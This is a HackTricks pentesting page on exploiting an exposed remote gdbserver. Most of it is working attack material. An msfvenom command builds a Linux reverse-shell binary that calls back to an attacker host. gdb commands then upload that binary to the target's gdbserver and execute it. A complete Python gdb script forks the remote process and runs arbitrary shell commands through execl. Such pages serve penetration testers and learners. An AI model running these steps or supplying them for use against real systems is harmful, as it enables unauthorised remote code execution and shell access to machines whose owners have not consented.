Pentesting Remote GdbServer - HackTricks

# Pentesting Remote GdbServer

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basic Information

gdbserver is a tool that enables the debugging of programs remotely. It runs alongside the program that needs debugging on the same system, known as the "target." This setup allows the GNU Debugger to connect from a different machine, the "host," where the source code and a binary copy of the debugged program are stored. The connection between gdbserver and the debugger can be made over TCP or a serial line, allowing for versatile debugging setups.

You can make a gdbserver listen in any port and at the moment nmap is not capable of recognising the service.

## Exploitation

### Upload and Execute

You can easily create an elf backdoor with msfvenom, upload it and execute is:

    # Trick shared by @B1n4rySh4d0w
    msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

    chmod +x binary.elf

    gdb binary.elf

    # Set remote debuger target
    target extended-remote 10.10.10.11:1337

    # Upload elf file
    remote put binary.elf binary.elf

    # Set remote executable file
    set remote exec-file /home/user/binary.elf

    # Execute reverse shell executable
    run

    # You should get your reverse-shell

### Execute arbitrary commands

There is another way to make the debugger execute arbitrary commands via a python custom script taken from here.

    # Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
    target extended-remote 192.168.1.4:2345

    # Load our custom gdb command `rcmd`.
    source ./remote-cmd.py

    # Change to a trusty binary and run it to load it
    set remote exec-file /bin/bash
    r

    # Run until a point where libc has been loaded on the remote process, e.g. start of main().
    tb main
    r

    # Run the remote command, e.g. `ls`.
    rcmd ls

First of all create locally this script:

    #!/usr/bin/env python3

    import gdb
    import re
    import traceback
    import uuid

    class RemoteCmd(gdb.Command):
        def __init__(self):
            self.addresses = {}

            self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
            gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

            gdb.execute("set detach-on-fork off")
            gdb.execute("set follow-fork-mode parent")

            gdb.execute("set max-value-size unlimited")
            gdb.execute("set pagination off")
            gdb.execute("set print elements 0")
            gdb.execute("set print repeats 0")

            super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

        def preload(self):
            for symbol in [
                "close",
                "execl",
                "fork",
                "free",
                "lseek",
                "malloc",
                "open",
                "read",
            ]:
                self.load(symbol)

        def load(self, symbol):
            if symbol not in self.addresses:
                address_string = gdb.execute(f"info address {symbol}", to_string=True)
                match = re.match(
                    f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
                )
                if match and len(match.groups()) > 0:
                    self.addresses[symbol] = match.groups()[0]
                else:
                    raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

            return self.addresses[symbol]

        def output(self):
            # From `fcntl-linux.h`
            O_RDONLY = 0
            gdb.execute(
                f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
            )

            # From `stdio.h`
            SEEK_SET = 0
            SEEK_END = 2
            gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
            gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
            if int(gdb.convenience_variable("len")) <= 0:
                gdb.write("No output was captured.")
                return

            gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
            gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
            gdb.execute('printf "%s\\n", (char*) $mem')

            gdb.execute(f'call (int){self.load("close")}($fd)')
            gdb.execute(f'call (int){self.load("free")}($mem)')

        def invoke(self, arg, from_tty):
            try:
                self.preload()

                is_auto_solib_add = gdb.parameter("auto-solib-add")
                gdb.execute("set auto-solib-add off")

                parent_inferior = gdb.selected_inferior()
                gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
                child_pid = gdb.convenience_variable("child_pid")
                child_inferior = list(
                    filter(lambda x: x.pid == child_pid, gdb.inferiors())
                )[0]
                gdb.execute(f"inferior {child_inferior.num}")

                try:
                    gdb.execute(
                        f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
                    )
                except gdb.error as e:
                    if (
                        "The program being debugged exited while in a function called from GDB"
                        in str(e)
                    ):
                        pass
                    else:
                        raise e
                finally:
                    gdb.execute(f"inferior {parent_inferior.num}")
                    gdb.execute(f"remove-inferiors {child_inferior.num}")

                self.output()
            except Exception as e:
                gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
                raise e
            finally:
                gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')

    RemoteCmd()

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.